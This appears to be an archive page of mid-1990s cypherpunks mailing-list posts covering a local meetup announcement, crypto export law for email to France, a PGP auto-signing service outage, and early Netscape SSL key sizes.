TAKE 2!: It's always something. Saturday, December 10, 1994, and weekly henceforth (on a trial basis, excluding vacations and holidays unless someone else wants to host it): There will be a meeting under the announced name "L.A. Cypherpunks" at the California Coffee House, 4455 Overland Avenue, Culver City, CA 90230 (310) 559-8868 to discuss privacy issues and tactics. If any of y'all want to show up and flame on about your pet projects and sell stuff, it is a free, informal gathering -- show up any time between noon and 5 P.M. The first logical order of business after introductions, is "is this the time and the place?" The California Coffee House is close to my home, and it is a compromise between the extremes of a restaurant and a meeting hall without food. They serve sandwiches and coffee. They are open 9 a.m. - 5 p.m. on Saturday. The meeting will start if anyone shows up besides myself and continue until closing time. And you'll even get a little brochure! Gosh, golly, gee whiz!! BCNU! Kent - jkh(a)story.com (consarn it all, skippy)

1 0

Re: How to Destroy the Internet (was Info about Linux)
by Rich Salz 17 Dec '03

17 Dec '03

Is /etc/utmp still world-writeable on most machines these days? Hell, even CERT put out an advisory about this years ago.

1 0

Re: crypto email to France
by farr＠evtech.com 17 Dec '03

17 Dec '03

> > Rebecca Farr said: > > Does anyone here know any details or where I might find out more about > > what, if anything, needs to be done to legally exchange encrypted email > > with our office in Paris? > > It would be great if you could post a summary of the practical > procedure, once you find out. It's nice to have (an approximation of) > the legal text, but that's usually quite removed from the actual > paperwork. > > Thanks, > Pierre. > pierre(a)shell.portal.com > Thank you, Pierre, and everyone else who has responded both privately and through the cypherpunks mailing list. I will post a summary of the procedure and any other relevant information when I (finally!) find out what that is. Thanks also for the translation of the french law you posted. Someone from France had sent me the original, and while I can read it, this will save me some work writing up a translation for our lawyer. Best wishes to all, Rebecca Farr farr(a)evtech.com

1 0

Looking for Hackers' Story
by sghahn＠math1.kaist.ac.kr 17 Dec '03

17 Dec '03

I am looking for the sources about the general aspects of the hackers. I am writing an article for a Korean journal <The Database World>. I am writing about the origins, the history, the developments, the new trends, and its impact on the industry, etc. Pla Please send me an e-mail if you know any good sources. Thanks in advance.

1 0

Argh, apologies
by L. Todd Masco 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- My most sincere apologies: due to a Truly Heinous filesystem lossage mode, (thanks, DEC, for ultrix 4.2!) the sign/forward service cypherpunks(a)hks.net has been broken since late Wednesday and everything through it has been lost. I just got back from DC/MD/VA and corrected the problem. I've modified things so that this will not happen again (at worst, signing and forwarding will be delayed until the queue is manually run). Again, I very much apologize for this. - -- Todd Masco | It's sometimes difficult to be too loud about your cactus(a)hks.net | enumerated rights when you're busy exercising your cactus(a)bb.com | unenumerated rights. - --- [This message has been signed by an auto-signing service. A valid signature means only that it has been received at the address corresponding to the signature and forwarded.] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Gratis auto-signing service iQBFAwUBLumIeyoZzwIn1bdtAQFU6AGAu3BVYAsmo+8+mVRRhm5i4rPijBDOjUC0 b00JXC27ejVCzr2ZGis1f1pbwH+/9bDJ =xfn3 -----END PGP SIGNATURE-----

1 0

Re: BofA+Netscape
by alano＠teleport.com 17 Dec '03

17 Dec '03

>Lads, > >I thought many of you would be interested in the text of this story. I'm >wondering if anyone has any comments on the excryption mechanism (i.e. >"eavesdropping" protection) being used. I believe, from my visits to the >Netscape (formerly Mosaic) Communications Inc. offices that they are using >RSA, but I'm not sure how *secure* their implementation is (eg. key size, >etc.). I'll be contacting my local branch to inquire as to how soon I'll be >able to use the service and will post my experiences with it as soon as >possible. If you check their WWW page, you will find information on the Secure Sockets Layer. It explains the algorythm used (RC4) and key size (40 bits). The specification is available from a web page off of their site. With the latest version of Netscape, you can enable a "secure" connection with their site. To do so use: https://home.mcom.com/ as the home page address. (You need at least .96 to do this.) I am not certain as to their key exchange protocol... | "Encryption ROT13s your mind." | alano(a)teleport.com | |"Would you rather be tortured by the government | Disclaimer: | |forces or the people's liberation army?" -mklprc | Ignore the man | | -- PGP 2.6.2 key available on request -- | behind the keyboard.|

4 4